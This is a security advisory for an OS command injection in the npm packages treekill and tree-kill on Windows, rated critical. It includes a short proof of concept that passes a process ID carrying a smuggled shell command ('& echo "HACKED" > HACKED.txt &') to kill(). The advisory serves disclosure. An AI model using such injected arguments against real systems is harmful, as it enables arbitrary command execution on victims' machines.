GHSA-j7fq-p9q7-5wfvPublished

Treekill Enables OS Command Injection

Exact source revision recorded 24 Oct 2026 13:17:17 UTC. It does not establish the source's current position. Latest evidence.

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osv · GHSA-j7fq-p9q7-5wfv

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A Code Injection exists in treekill and tree-kill on Windows which allows a remote code execution when an attacker is able to control the input into the command. ### Steps To Reproduce: Create the following PoC file: ```js var kill = require('treekill'); kill('3333332 & echo "HACKED" > HACKED.txt & '); ``` Execute the following commands in terminal: ```shell npm i treekill # Install affected module dir # Check *HACKED.txt* doesn't exist node poc.js # Run the PoC dir # Now *HACKED.txt* exists :) ``` The HACKED.txt has been created

Source published: 24 May 2022 17:04:00 UTC
Source modified: 22 Apr 2024 23:44:02 UTC
Observed here: 24 Oct 2026 13:17:17 UTC
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CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Publisher rating · CRITICAL